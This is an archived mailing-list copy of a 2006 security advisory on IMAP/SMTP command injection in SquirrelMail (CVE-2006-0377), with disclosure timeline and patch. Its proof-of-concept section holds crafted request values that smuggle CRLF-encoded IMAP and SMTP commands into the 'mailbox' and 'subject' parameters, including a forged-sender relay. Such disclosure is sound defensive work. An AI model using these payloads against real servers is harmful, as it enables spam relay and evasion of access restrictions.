Ethical Hacking Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package. | Computer Forensics Training at InfoSec Institute Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors. |

| Subject: | [ISecAuditors Advisories] IMAP/SMTP Injection in SquirrelMail |
|---|---|
| Date: | Mon, 27 Feb 2006 10:10:24 +0100 |
============================================= INTERNET SECURITY AUDITORS ALERT 2006-002 - Original release date: February 27, 2006 - Last revised: February 27, 2006 - Discovered by: Vicente Aguilera Diaz - Severity: 3/5 ============================================= I. VULNERABILITY ------------------------- IMAP/SMTP Injection in SquirrelMail II. BACKGROUND ------------------------- SquirrelMail is a standards-based webmail package written in PHP4. It includes built-in pure PHP support for the IMAP and SMTP protocols, and all pages render in pure HTML 4.0 (with no JavaScript required) for maximum compatibility across browsers. It has very few requirements and is very easy to configure and install. SquirrelMail has all the functionality you would want from an email client, including strong MIME support, address books, and folder manipulation. The product homepage is http://www.squirrelmail.org. III. DESCRIPTION ------------------------- SquirrelMail provides a graphical interface to interact with mail servers across the IMAP and SMTP protocols. Improper command and information validation transmitted by SquirrelMail to the mail servers during the normal use of this application (mailbox management, e-mail reading and sending, etc.) facilitates that an authenticate malicious user could inject arbitrary IMAP/SMTP commands into the mail servers used by SquirrelMail across parameters used by the webmail front-ent in its communication with these mail servers. This is become dangerous because the injection of these commands allows an intruder to evade restrictions imposed at application level, and exploit vulnerabilities that could exist in the mail servers through IMAP/SMTP commands. IV. PROOF OF CONCEPT ------------------------- == IMAP example (1.4.2 version) ============= SquirrelMail Vulnerable parameter: "mailbox" When a user clicks in the subject of an e-mail, he creates a GET request as: http://<victim>/src/read_body.php?mailbox=INBOX&passed_id=1&startMessage=1&show_more=0 A malicious user can modify the value of the "mailbox" parameter and inject any IMAP command. The IMAP command injection has the following structure: http://<victim>/src/read_body.php?mailbox=INBOX%22%0D%0<ID> <INJECT_IMAP_COMMAND_HERE>%0D%0A<ID> %20SELECT%20%22INBOX&passed_id=<CODE>&startMessage=1 Example: Injection of the RENAME IMAP command across the "mailbox" parameter: http://<victim>/src/read_body.php?mailbox=INBOX%22%0D%0AZ900%20RENAME%20Trash%20Basura%0d%0aZ910%20SELECT%20%22INBOX&passed_id=22197&startMessage=1 == SMTP example (1.2.7 version) ============= SquirrelMail Vulnerable parameter: "subject" (and possibly others) When a user send a message, he create a POST request like: POST http://<victim>/src/compose.php HTTP/1.1 ... -----------------------------84060780712450133071594948441 Content-Disposition: form-data; name="subject" Proof of Concept -----------------------------84060780712450133071594948441 ... A malicious user can modify the value of the "subject" parameter and inject any SMTP command. Example: Relay from a non-existent e-mail address ... -----------------------------84060780712450133071594948441 Content-Disposition: form-data; name="subject" Proof of Concept%0d%0a.%0d%0a%0d%0amail from: hacker@domain.com%0d%0arcpt to: victim@otherdomain.com%0d%0adata%0d%0aThis is a proof of concept of the SMTP command injection in SquirrelMail%0d%0a.%0d%0a -----------------------------84060780712450133071594948441 ... V. BUSINESS IMPACT ------------------------- The IMAP/SMTP command injection allow relay, SPAM, exploit IMAP and SMTP vulnerabilities in the mail servers and evade all the restrictions at the application layer. VI. SYSTEMS AFFECTED ------------------------- IMAP Injection: All versions prior to 1.4.6. SMTP Injection: SquirrelMail 1.2.7 (and older versions). VII. SOLUTION ------------------------- Replace \r and \n from $mailbox in the function sqimap_mailbox_select. Patch available: http://www.squirrelmail.org/security/issue/2006-02-15 VIII. REFERENCES ------------------------- - http://www.squirrelmail.org/security/issue/2006-02-15 - CVE-2006-0377 IX. CREDITS ------------------------- This vulnerability has been discovered and reported by Vicente Aguilera Diaz (vaguilera=at=isecauditors=dot=com). X. REVISION HISTORY ------------------------- January 12, 2006: Initial release January 20, 2006: Disclosure timeline updated February 16, 2006: Disclosure timeline updated February 27, 2006: Disclosure timeline updated XI. DISCLOSURE TIMELINE ------------------------- December, 2005 Vulnerability acquired by Vicente Aguilera Diaz (Internet Security Auditors) January 12, 2006 Initial vendor notification sent. January 19, 2006 The vulnerability is fixed in 1.4.6 cvs and 1.5.1 cvs. February 15, 2006 The vendor published the vulnerability in the security section. February 25, 2006 The CVE-2006-0377 is updated.
| <Prev in Thread] | Current Thread | [Next in Thread> |
|---|---|---|
| ||
| Previous by Date: | Knowledgebases Remote Command Exucetion, botan |
|---|---|
| Next by Date: | 2 SQL Injection in d3jeeb, S3ude |
| Previous by Thread: | Knowledgebases Remote Command Exucetion, botan |
| Next by Thread: | 2 SQL Injection in d3jeeb, S3ude |
| Indexes: | [Date] [Thread] [Top] [All Lists] |